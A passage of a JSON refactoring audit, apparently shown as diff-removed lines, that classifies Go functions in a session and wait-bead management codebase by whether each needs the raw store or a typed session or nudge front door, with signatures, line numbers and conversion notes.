-   "notes": "Raw session-bead read by metadata to detect in-flight pending creates; no mutation. RAW_BY_DESIGN session-status read. Keep raw store (a list-by-metadata read, not an object write).",
-   "sig": "func dependencySessionStartInFlight(store beads.Store, sessionName string, cfg *config.City, clk clock.Clock) bool"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "candidateWaveOrder",
-   "line": "659",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (no object op; passes store to liveness helper)",
-   "other": "WORK_LIST,FEDERATION",
-   "param": "store",
-   "callees": "dependencyTemplateAlive",
-   "notes": "Only forwards store to dependencyTemplateAlive (liveness/federation reads). No session/order/nudge object op. RAW_BY_DESIGN; keep raw store.",
-   "sig": "func candidateWaveOrder(\n\tcandidates []startCandidate,\n\tcfg *config.City,\n\tdesiredState map[string]TemplateParams,\n\tsp runtime.Provider,\n\tcityName string,\n\tstore beads.Store,\n\tclk clock.Clock,\n) (map[int]int, bool)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "executePlannedStartsTraced",
-   "line": "2190",
-   "verdict": "MIXED",
-   "objops": "SESSION: clearPendingStartInFlightLease(candidate.session,store,...); persistSessionCircuitBreakerMetadata(store,...); recordSessionCircuitBreakerRestart(store,...) (session circuit-breaker metadata writes); commitStartResultTraced(...,store,...); plus prepare/enqueue/execute fan-out",
-   "other": "WORK_LIST,FEDERATION,GENERIC_GET",
-   "param": "store",
-   "callees": "candidateWaveOrder,prepareStartCandidateForCity,enqueuePreparedStartWaveForCity,executePreparedStartWaveForCity,commitStartResultTraced,clearPendingStartInFlightLease",
-   "notes": "High-level reconcile driver. Session object ops: circuit-breaker metadata persistence, lease clears, commit-started writes. Also fans store into wave-order liveness reads (FEDERATION/WORK_LIST) and prepare/execute worker-boundary paths (GENERIC_GET). MIXED: needs typed session front door for the session writes AND raw store for the dependency/worker reads. This is an internal orchestrator, NOT the composition root (store is received as a param, not opened).",
-   "sig": "func executePlannedStartsTraced(\n\tctx context.Context,\n\tcandidates []startCandidate,\n\tcfg *config.City,\n\tdesiredState map[string]TemplateParams,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tcityName string,\n\tcityPath string,\n\tclk clock.Clock,\n\trec events.Recorder,\n\tstartupTimeout time.Duration,\n\tstdout, stderr io.Writer,\n\ttrace *sessionReconcilerTraceCycle,\n\toptions ...startExecutionOption,\n) int"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "executePreparedStartWaveForCity",
-   "line": "1102",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none-direct (forwards store to runPreparedStartCandidate)",
-   "other": "GENERIC_GET,FEDERATION",
-   "param": "store",
-   "callees": "runPreparedStartCandidate",
-   "notes": "Parallel runner; only forwards store to runPreparedStartCandidate (worker-boundary start path, raw). No session OBJECT mutation in this body. RAW_BY_DESIGN start path; keep raw store.",
-   "sig": "func executePreparedStartWaveForCity(\n\tctx context.Context,\n\tprepared []preparedStart,\n\tcityPath string,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tcfg *config.City,\n\tstartupTimeout time.Duration,\n\tmaxParallel int,\n) []startResult"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "executePreparedStartWave",
-   "line": "1092",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none-direct (forwards store to executePreparedStartWaveForCity)",
-   "other": "GENERIC_GET,FEDERATION",
-   "param": "store",
-   "callees": "executePreparedStartWaveForCity",
-   "notes": "Thin wrapper. Forwards store to the worker-boundary start runner. RAW_BY_DESIGN; keep raw store.",
-   "sig": "func executePreparedStartWave(\n\tctx context.Context,\n\tprepared []preparedStart,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tstartupTimeout time.Duration,\n) []startResult"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "executePlannedStarts",
-   "line": "2174",
-   "verdict": "MIXED",
-   "objops": "SESSION (transitive via executePlannedStartsTraced: circuit-breaker metadata, lease clears, commit-started)",
-   "other": "WORK_LIST,FEDERATION,GENERIC_GET",
-   "param": "store",
-   "callees": "executePlannedStartsTraced",
-   "notes": "Thin wrapper forwarding store to executePlannedStartsTraced. Same MIXED profile.",
-   "sig": "func executePlannedStarts(\n\tctx context.Context,\n\tcandidates []startCandidate,\n\tcfg *config.City,\n\tdesiredState map[string]TemplateParams,\n\tsp runtime.Provider,\n\tstore beads.Store,\n\tcityName string,\n\tclk clock.Clock,\n\trec events.Recorder,\n\tstartupTimeout time.Duration,\n\tstdout, stderr io.Writer,\n) int"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "stopTargetsForNames",
-   "line": "2695",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (raw loadSessionBeads list read to populate stopTarget identity)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "(loadSessionBeads \u2014 out-of-file)",
-   "notes": "Reads all session beads (raw list) to resolve template/agentName/subject/poolManaged per name. No object mutation. RAW_BY_DESIGN session-status/identity read; keep raw store.",
-   "sig": "func stopTargetsForNames(names []string, cfg *config.City, store beads.Store, stderr io.Writer) []stopTarget"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "hydrateStopTargets",
-   "line": "2793",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (delegates to stopTargetsForNames raw read)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "stopTargetsForNames",
-   "notes": "Re-reads session beads via stopTargetsForNames to fill missing target fields. No object op. RAW_BY_DESIGN; keep raw store.",
-   "sig": "func hydrateStopTargets(targets []stopTarget, cfg *config.City, store beads.Store, stderr io.Writer) []stopTarget"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "stopTargetThroughWorkerBoundary",
-   "line": "2839",
-   "verdict": "MIXED",
-   "objops": "SESSION: cityStopSessionMarked(store,...) reads session bead .Metadata['sleep_reason']; markCityStopSessionAsAsleep(store,...) -> sessionFrontDoor Sleep; plus worker kill/stop boundary",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "cityStopSessionMarked,markCityStopSessionAsAsleep",
-   "notes": "Residual: needs raw store for the worker kill/stop boundary (workerKillSessionTargetWithConfig/workerStopSessionTargetWithConfig) and the cityStopSessionMarked Get. Session WRITE (Sleep marker) routes through markCityStopSessionAsAsleep -> sessionFrontDoor. MIXED: typed session front door + raw store for worker boundary.",
-   "sig": "func stopTargetThroughWorkerBoundary(target stopTarget, store beads.Store, sp runtime.Provider, cfg *config.City) error"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "cityStopSessionMarked",
-   "line": "2854",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION: store.Get(sessionID) then reads .Metadata['sleep_reason']",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "(none in-file)",
-   "notes": "By-id session read to check sleep_reason==city-stop. No mutation. Could read through the session front door if it exposed Get; today it is a raw GENERIC_GET session-status read. RAW_BY_DESIGN read.",
-   "sig": "func cityStopSessionMarked(store beads.Store, sessionID string) bool"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "markCityStopSessionAsAsleep",
-   "line": "2865",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION: sessionFrontDoor(store).Sleep(sessionID, sleepReasonCityStop, time.Now().UTC())",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none in-file)",
-   "notes": "Pure session OBJECT write (Sleep). Convert store param to sessions *session.InfoStore (drop the sessionFrontDoor wrap).",
-   "sig": "func markCityStopSessionAsAsleep(store beads.Store, sessionID string, stderr io.Writer)"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "interruptTargetsBoundedWithForceSignal",
-   "line": "2893",
-   "verdict": "MIXED",
-   "objops": "SESSION (transitive via stopTargetThroughWorkerBoundary closure: cityStopSessionMarked + markCityStopSessionAsAsleep Sleep) plus worker interrupt boundary",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "hydrateStopTargets,stopTargetThroughWorkerBoundary",
-   "notes": "Hydrates targets (raw read) and runs pool-managed stops via stopTargetThroughWorkerBoundary (session Sleep + worker boundary) and interrupts via workerInterruptSessionTargetWithConfig (worker boundary, raw). MIXED: typed session front door (for the Sleep on pool-managed stop) + raw store for worker boundary/hydrate.",
-   "sig": "func interruptTargetsBoundedWithForceSignal(targets []stopTarget, cfg *config.City, store beads.Store, sp runtime.Provider, stderr io.Writer, shouldStop func() bool) int"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "interruptTargetsBounded",
-   "line": "2889",
-   "verdict": "MIXED",
-   "objops": "SESSION (transitive via interruptTargetsBoundedWithForceSignal)",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "interruptTargetsBoundedWithForceSignal",
-   "notes": "Thin wrapper. Same MIXED profile (worker interrupt boundary + transitive session Sleep on pool-managed stops + hydrate read).",
-   "sig": "func interruptTargetsBounded(targets []stopTarget, cfg *config.City, store beads.Store, sp runtime.Provider, stderr io.Writer) int"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "interruptSessionsBounded",
-   "line": "2946",
-   "verdict": "MIXED",
-   "objops": "SESSION (transitive) plus raw stopTargetsForNames read",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "stopTargetsForNames,interruptTargetsBounded",
-   "notes": "Builds targets (raw read) then delegates to interruptTargetsBounded. Same MIXED profile.",
-   "sig": "func interruptSessionsBounded(names []string, cfg *config.City, store beads.Store, sp runtime.Provider, stderr io.Writer) int"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "stopTargetsBounded",
-   "line": "2950",
-   "verdict": "MIXED",
-   "objops": "SESSION (transitive via stopTargetThroughWorkerBoundary: cityStopSessionMarked + markCityStopSessionAsAsleep Sleep) plus worker stop boundary",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "hydrateStopTargets,stopTargetThroughWorkerBoundary",
-   "notes": "Hydrates (raw read) and stops each target via stopTargetThroughWorkerBoundary (session Sleep on city-stop-marked + worker stop boundary). MIXED: typed session front door + raw store for worker boundary/hydrate.",
-   "sig": "func stopTargetsBounded(\n\ttargets []stopTarget,\n\tcfg *config.City,\n\tstore beads.Store,\n\tsp runtime.Provider,\n\trec events.Recorder,\n\tactor string,\n\tstdout, stderr io.Writer,\n) int"
-  },
-  {
-   "file": "session_lifecycle_parallel.go",
-   "name": "stopSessionsBounded",
-   "line": "3038",
-   "verdict": "MIXED",
-   "objops": "SESSION (transitive) plus raw stopTargetsForNames read",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "stopTargetsForNames,stopTargetsBounded",
-   "notes": "Builds targets (raw read) then delegates to stopTargetsBounded. Same MIXED profile.",
-   "sig": "func stopSessionsBounded(\n\tnames []string,\n\tcfg *config.City,\n\tstore beads.Store,\n\tsp runtime.Provider,\n\trec events.Recorder,\n\tactor string,\n\tstdout, stderr io.Writer,\n) int"
-  },
-  {
-   "file": "session_sleep.go",
-   "name": "reconcileDetachedAt",
-   "line": "143",
-   "verdict": "MIXED",
-   "objops": "SESSION:sessionFrontDoor(store).SetMarker(detached_at)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "workerSessionTargetAttachedWithConfig",
-   "notes": "Session object op = sessionFrontDoor(store).SetMarker for detached_at (3 sites). Residual raw store: passes store to workerSessionTargetAttachedWithConfig(\"\", store, sp, nil, session.ID) which resolves a worker handle for the session target by id. Convert: take sessions *session.InfoStore for the SetMarker calls AND keep raw store (or pass workAssignment/worker-resolution helper) for the attached probe. Not a root \u2014 store arrives as a param.",
-   "sig": "func reconcileDetachedAt(\n\tsession *beads.Bead,\n\tstore beads.Store,\n\tpolicy resolvedSessionSleepPolicy,\n\talive bool,\n\tsp runtime.Provider,\n\tclk clock.Clock,\n)"
-  },
-  {
-   "file": "session_sleep.go",
-   "name": "persistSleepPolicyMetadata",
-   "line": "257",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch",
-   "other": "NONE",
-   "param": "store",
-   "callees": "",
-   "notes": "Store used only for sessionFrontDoor(store).ApplyPatch(session.ID, changed). Convert store param to sessions *session.InfoStore.",
-   "sig": "func persistSleepPolicyMetadata(\n\tsession *beads.Bead,\n\tstore beads.Store,\n\tpolicy resolvedSessionSleepPolicy,\n\tconfigSuppressed bool,\n)"
-  },
-  {
-   "file": "session_sleep.go",
-   "name": "markIdleSleepPending",
-   "line": "306",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).SetMarker(sleep_intent)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "",
-   "notes": "Store used only for sessionFrontDoor(store).SetMarker(session.ID, sleep_intent, idle-stop-pending). Convert store param to sessions *session.InfoStore.",
-   "sig": "func markIdleSleepPending(session *beads.Bead, store beads.Store)"
-  },
-  {
-   "file": "session_sleep.go",
-   "name": "recoverPendingIdleSleep",
-   "line": "319",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor(store).ApplyPatch",
-   "other": "NONE",
-   "param": "store",
-   "callees": "",
-   "notes": "Store used only for sessionFrontDoor(store).ApplyPatch(session.ID, batch) where batch=sessionpkg.SleepPatch(...). Convert store param to sessions *session.InfoStore.",
-   "sig": "func recoverPendingIdleSleep(\n\tsession *beads.Bead,\n\tstore beads.Store,\n\trunning bool,\n\tclk clock.Clock,\n) bool"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "cmdSessionWait",
-   "line": "184",
-   "verdict": "ROOT",
-   "objops": "SESSION:sessionFrontDoor.PersistedMarkers,sessionFrontDoor.ApplyPatch(wait_hold/sleep_intent); plus wait-bead ops store.Create(Type=wait),store.SetMetadataBatch,setWaitTerminalState",
-   "other": "OPENS_STORE,BYID_RESOLVE,GENERIC_GET",
-   "param": "store",
-   "callees": "resolveSessionIDWithConfig(store),loadWaitDependencyBead(store),depsWaitReadyDetailedForCity(store),setWaitTerminalState(store)",
-   "notes": "Composition root: opens via openCityStore(stderr,\"gc session wait\") at L193. Resolves sessionID via resolveSessionIDWithConfig (BYID/federation) and reads dependency beads across scope stores (loadWaitDependencyBead opens sub-stores). Construct sessionFrontDoor(store) once here; residual raw store still needed for wait-bead Create/SetMetadataBatch and by-id dep resolution. WAIT-bead ops are NOT session ops.",
-   "sig": "func cmdSessionWait(args, depIDs []string, matchAny bool, note string, sleep bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "cmdWaitSetStateResult",
-   "line": "640",
-   "verdict": "ROOT",
-   "objops": "SESSION (indirect via clearSessionWaitHoldIfIdle->clearSessionWaitHold); plus wait-bead ops store.Get(waitID),store.SetMetadataBatch,setWaitTerminalState,store.Close",
-   "other": "OPENS_STORE,GENERIC_GET",
-   "param": "store",
-   "callees": "retryClosedWait(store),nextWaitDeliveryAttempt(store),setWaitTerminalState(store),clearSessionWaitHoldIfIdle(store)",
-   "notes": "Composition root: opens via openCityStore(stderr,\"gc wait\") at L642. store.Get(waitID) is a generic wait-bead fetch (not a session Get). store.SetMetadataBatch used as a func value (apply) on the wait bead. Session touch only through clearSessionWaitHoldIfIdle. Residual raw store: wait-bead Get/SetMetadataBatch/Close.",
-   "sig": "func cmdWaitSetStateResult(waitID, state string, stdout, stderr io.Writer) (waitSetStateResult, int)"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "stampWaitLookupCapDiagnostic",
-   "line": "740",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor.ApplyPatch(StampWaitLookupCapMetadata batch)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "store used ONLY to sessionFrontDoor(store).ApplyPatch(sessionID,batch). Convert param to sessions *session.InfoStore. All callers (stampGlobalWaitLookupCapDiagnostics, prepareWaitWakeStateForCityWithSnapshot, dispatchReadyWaitNudgesWithSnapshot, finalizeReadyWaitFromNudge, loadWaitBeadsForOpenSessionsWithSeen, loadWaitBeadsForWakeState) pass store here purely for the session patch.",
-   "sig": "func stampWaitLookupCapDiagnostic(store beads.Store, sessionID string, err error, now time.Time, source string)"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "stampGlobalWaitLookupCapDiagnostics",
-   "line": "762",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION (delegates: passes store to stampWaitLookupCapDiagnostic which does sessionFrontDoor.ApplyPatch)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "stampWaitLookupCapDiagnostic(store)",
-   "notes": "store only forwarded into stampWaitLookupCapDiagnostic for a session patch; no other use. Convert to sessions *session.InfoStore alongside its callee.",
-   "sig": "func stampGlobalWaitLookupCapDiagnostics(store beads.Store, sessionBeads *sessionBeadSnapshot, err error, now time.Time)"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "prepareWaitWakeStateForCityWithSnapshot",
-   "line": "987",
-   "verdict": "MIXED",
-   "objops": "SESSION:clearSessionWaitHoldIfIdle(store),clearSessionWaitHold via finalize; plus wait-bead ops setWaitTerminalState(store.Store / store),store.SetMetadataBatch(wait.ID); NUDGE:finalizeReadyWaitFromNudge(store)",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "loadSessionBeadSnapshot(store.Store),loadWaitBeadsForWakeState(store.Store),lookupSessionBeadByID(store.Store),setWaitTerminalState(store.Store/store),clearSessionWaitHoldIfIdle(store),finalizeReadyWaitFromNudge(store),depsWaitReadyDetailedForCity(store)",
-   "notes": "Takes beads.SessionStore (already a typed session wrapper) but reaches into store.Store for wait-bead lookups (loadWaitBeadsForWakeState), session by-id (lookupSessionBeadByID), wait terminal-state writes, and depsWaitReadyDetailedForCity. Residual: keep raw store for wait-bead list/SetMetadataBatch/Close and session-by-id resolution; session-hold clears could take *session.InfoStore. Note inconsistent arg at L1025/1038 (store.Store vs store) into setWaitTerminalState.",
-   "sig": "func prepareWaitWakeStateForCityWithSnapshot(cityPath string, store beads.SessionStore, now time.Time, sessionBeads *sessionBeadSnapshot) (map[string]bool, error)"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "dispatchReadyWaitNudgesWithSnapshot",
-   "line": "1132",
-   "verdict": "MIXED",
-   "objops": "NUDGE:nudgeFrontDoor(NudgesStore{store}).Find,enqueueQueuedNudgeWithStore(NudgesStore{store}),store.SetMetadata(wait.ID,nudge_id); SESSION(indirect):stampWaitLookupCapDiagnostic(store)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "loadSessionBeadSnapshot(store),loadWaitBeadsForOpenSessions(store),nudgeFrontDoor(...) ,enqueueQueuedNudgeWithStore(...),stampWaitLookupCapDiagnostic(store)",
-   "notes": "Wraps store as beads.NudgesStore at L1163/1185 for nudge front-door Find + enqueue. Also raw store.SetMetadata on the WAIT bead (nudge_id stamp) and wait-list loads + session-lookup-cap diagnostic. Residual: keep raw store for wait-bead loads/SetMetadata; could take nudgeFrontDoor + sessions front doors for the object ops.",
-   "sig": "func dispatchReadyWaitNudgesWithSnapshot(cityPath string, cfg *config.City, store beads.Store, now time.Time, sessionBeads *sessionBeadSnapshot) error"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "finalizeReadyWaitFromNudge",
-   "line": "1222",
-   "verdict": "MIXED",
-   "objops": "NUDGE:nudgeFrontDoor(NudgesStore{store}).FindIncludingTerminal; SESSION(indirect):stampWaitLookupCapDiagnostic(store); plus wait-bead op setWaitTerminalState(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "nudgeFrontDoor(...),stampWaitLookupCapDiagnostic(store),setWaitTerminalState(store)",
-   "notes": "Param is beads.SessionStore (passed in prepareWaitWakeStateForCityWithSnapshot at L1065). Builds beads.NudgesStore{Store: store} at L1230 for nudge lookup; writes WAIT terminal state via setWaitTerminalState. Residual: keep raw store for wait-bead SetMetadataBatch+Close; take nudge + session front doors for object ops.",
-   "sig": "func finalizeReadyWaitFromNudge(store beads.SessionStore, wait beads.Bead, now time.Time) (bool, error)"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "clearSessionWaitHold",
-   "line": "1280",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION:sessionFrontDoor.PersistedMarkers(read SleepReason),sessionFrontDoor.ApplyPatch(clear wait_hold/sleep_intent/sleep_reason)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "store used ONLY through sessionFrontDoor(store) for PersistedMarkers + ApplyPatch. Convert param to sessions *session.InfoStore.",
-   "sig": "func clearSessionWaitHold(store beads.Store, sessionID string) error"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "clearSessionWaitHoldIfIdle",
-   "line": "1296",
-   "verdict": "MIXED",
-   "objops": "SESSION(via clearSessionWaitHold); plus wait-list read via hasNonTerminalWaits",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "hasNonTerminalWaits(store),clearSessionWaitHold(store)",
-   "notes": "Calls hasNonTerminalWaits(store) which lists the session's WAIT beads (loadSessionWaitBeads -> sessionpkg.ListSessionWaitBeads, raw store list) then clearSessionWaitHold(store) (session patch). Residual: keep raw store for the wait-bead lookup; session clear could take *session.InfoStore. (WORK_LIST = wait-bead list, closest tag.)",
-   "sig": "func clearSessionWaitHoldIfIdle(store beads.Store, sessionID string) error"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "retryClosedWait",
-   "line": "1364",
-   "verdict": "MIXED",
-   "objops": "SESSION:sessionFrontDoor.PersistedMarkers(read ContinuationEpoch/SessionName); plus wait-bead op store.Create(retry wait bead); NUDGE(indirect):nextWaitDeliveryAttempt(store)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "nextWaitDeliveryAttempt(store),sessionFrontDoor(store).PersistedMarkers,store.Create",
-   "notes": "sessionFrontDoor(store).PersistedMarkers at L1389 reads session markers to stamp epoch/name; store.Create at L1398 creates the new WAIT bead; nextWaitDeliveryAttempt(store) consults the nudge front door. Residual: keep raw store for wait-bead Create; session read could come from *session.InfoStore.",
-   "sig": "func retryClosedWait(store beads.Store, wait beads.Bead, now string) (beads.Bead, error)"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "nextWaitDeliveryAttempt",
-   "line": "1407",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE:nudgeFrontDoor(NudgesStore{store}).FindIncludingTerminal",
-   "other": "NONE",
-   "param": "store",
-   "callees": "nudgeFrontDoor(...)",
-   "notes": "store used ONLY (other than in-memory wait.Metadata reads) to build beads.NudgesStore{Store: store} at L1423 and call nudgeFrontDoor(...).FindIncludingTerminal. No raw wait-bead store op. Convert param to nudges *nudgequeue.Store.",
-   "sig": "func nextWaitDeliveryAttempt(store beads.Store, wait beads.Bead) (string, error)"
-  },
-  {
-   "file": "cmd_wait.go",
-   "name": "withdrawQueuedWaitNudges",
-   "line": "1433",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "NUDGE:nudgequeue.WithdrawWaitNudges over openNudgeBeadStore(cityPath).Store",
-   "other": "OPENS_STORE",
-   "param": "(none-cityPath)",
-   "callees": "(none)",
-   "notes": "Takes cityPath (no store param) and opens its own nudge bead store via openNudgeBeadStore(cityPath).Store, then calls nudgequeue.WithdrawWaitNudges directly. This is a nudge-store opener keyed by cityPath (composition-root-ish); not a deep callee receiving a store. Could construct nudgeFrontDoor from openNudgeBeadStore once, but it opens rather than receives a store.",
-   "sig": "func withdrawQueuedWaitNudges(cityPath string, nudgeIDs []string) error"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "createPoolSessionBead",
-   "line": "150",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION(thin wrapper: delegates create to createPoolSessionBeadWithAlias)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "createPoolSessionBeadWithAlias",
-   "notes": "Pure pass-through of store to createPoolSessionBeadWithAlias; never touches the raw store itself. Convert param to sessions *session.InfoStore once the callee is converted; or keep raw and let the callee hold the front door. No raw-store op in this body, so SESSION_ONLY.",
-   "sig": "func createPoolSessionBead(\n\tstore beads.Store,\n\ttemplate string,\n\tnow time.Time,\n\tidentity poolSessionCreateIdentity,\n) (beads.Bead, error)"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "createPoolSessionBeadWithAlias",
-   "line": "164",
-   "verdict": "MIXED",
-   "objops": "SESSION(sessionFrontDoor(store).CreateSession, sessionFrontDoor(store).SetMarker, sessionFrontDoor(store).CloseWithoutReason, store.Create-of-Type==session via CreateSession)",
-   "other": "GENERIC_GET(store.Get(beadID)), OPENS_STORE(poolSessionExplicitBeadID type-asserts store.(explicitBeadIDStore).IDPrefix to mint an explicit bead ID)",
-   "param": "store",
-   "callees": "poolSessionExplicitBeadID, derivePoolSessionName",
-   "notes": "Session create/marker/close all go through sessionFrontDoor(store). Residual raw needs: store.Get(beadID) to reload the created bead (GENERIC_GET by-id), and the type-assertion in poolSessionExplicitBeadID (store.(explicitBeadIDStore)) which needs the raw store's IDPrefix capability not exposed by InfoStore. Also passes raw store to derivePoolSessionName/ensurePoolSessionNameAvailable for name-availability reads. Keep raw store for Get-by-id + IDPrefix assertion; take front door for the create/marker/close.",
-   "sig": "func createPoolSessionBeadWithAlias(\n\tstore beads.Store,\n\ttemplate string,\n\tcfg *config.City,\n\tsessionBeads *sessionBeadSnapshot,\n\tnow time.Time,\n\tidentity poolSessionCreateIdentity,\n\tresolvedTmuxAlias string,\n) (beads.Bead, error)"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "derivePoolSessionName",
-   "line": "257",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(ensurePoolSessionNameAvailable -> sessionpkg.EnsureSessionNameAvailableWithConfig(store,...) session name-availability read)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "ensurePoolSessionNameAvailable",
-   "notes": "Only raw use is passing store into ensurePoolSessionNameAvailable, which calls sessionpkg.EnsureSessionNameAvailableWithConfig \u2014 a session name-uniqueness READ over the store. This is a session-scoped read (not a write/object mutation) and InfoStore does not currently expose a name-availability check; documented session read on the raw store. If a front-door name-availability method exists/were added it could convert, but as written it is a raw session read.",
-   "sig": "func derivePoolSessionName(store beads.Store, cfg *config.City, template, beadID, resolvedTmuxAlias string, snapshot *sessionBeadSnapshot) (string, error)"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "ensurePoolSessionNameAvailable",
-   "line": "281",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(sessionpkg.EnsureSessionNameAvailableWithConfig(store, cfg, name, selfID) session name-availability read)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "Single raw use is the session name-availability check sessionpkg.EnsureSessionNameAvailableWithConfig(store,...). A session-scoped uniqueness READ over the raw store; not exposed by the InfoStore front door. Documented raw session read.",
-   "sig": "func ensurePoolSessionNameAvailable(store beads.Store, cfg *config.City, snapshot *sessionBeadSnapshot, name, selfID string) error"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "poolSessionExplicitBeadID",
-   "line": "317",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none(no session/order/nudge object op)",
-   "other": "OPENS_STORE(type-asserts store.(explicitBeadIDStore) to read IDPrefix)",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "Does NOT perform any session/order/nudge object op. Type-asserts the raw store to explicitBeadIDStore and reads IDPrefix() to mint a deterministic explicit bead ID. This is a raw-store capability (IDPrefix), not surfaced by any front door; must keep the raw store. Listed because callers pass it the raw store, but it has no object op of its own.",
-   "sig": "func poolSessionExplicitBeadID(store beads.Store, instanceToken string) string"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "sessionAgentMetricIdentityByName",
-   "line": "447",
-   "verdict": "MIXED",
-   "objops": "SESSION(resolveSessionID(store, sessionName) then store.Get(id) reading bead identity metadata)",
-   "other": "BYID_RESOLVE(resolveSessionID -> session.ResolveSessionID name->id/federation), GENERIC_GET(store.Get(id))",
-   "param": "store",
-   "callees": "resolveSessionID, sessionAgentMetricIdentity",
-   "notes": "Resolves a runtime session NAME to an id via resolveSessionID (by-id/federation resolution), then store.Get(id) to load the bead and read its agent identity metadata. Read-only identity lookup. Residual: BYID_RESOLVE + GENERIC_GET are raw-store name->id resolution + get-by-id that the InfoStore front door does not cover; keep raw store. No mutation, but it is a session by-id resolution path, so MIXED (front door not sufficient).",
-   "sig": "func sessionAgentMetricIdentityByName(store beads.Store, sessionName string) string"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "findSessionNameByTemplate",
-   "line": "493",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(session-bead metadata/label query: findSessionNameByMetadata via ExactMetadataSessionCandidates, findSessionNameByAgentLabel via store.List)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "findSessionNameByMetadata, findSessionNameByAgentLabel",
-   "notes": "Read-only session-name resolution. Fans out to findSessionNameByMetadata (sessionpkg.ExactMetadataSessionCandidates(store,...)) and findSessionNameByAgentLabel (store.List(Label agent:...)). All session-bead READS over the raw store; no object mutation. The InfoStore front door does not expose these metadata/label session queries, so it stays on the raw store as a session-scoped read facade. Documented raw session read.",
-   "sig": "func findSessionNameByTemplate(store beads.Store, template string) string"
-  },
-  {
-   "file": "session_name_lookup.go",
-   "name": "findSessionNameByAgentLabel",
-   "line": "510",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(store.List(beads.ListQuery{Label: \"agent:\"+template}) session-bead label query; chooseSessionNameForTemplate)",
-   "other": "WORK_LIST(store.List label query is a generic List call)",
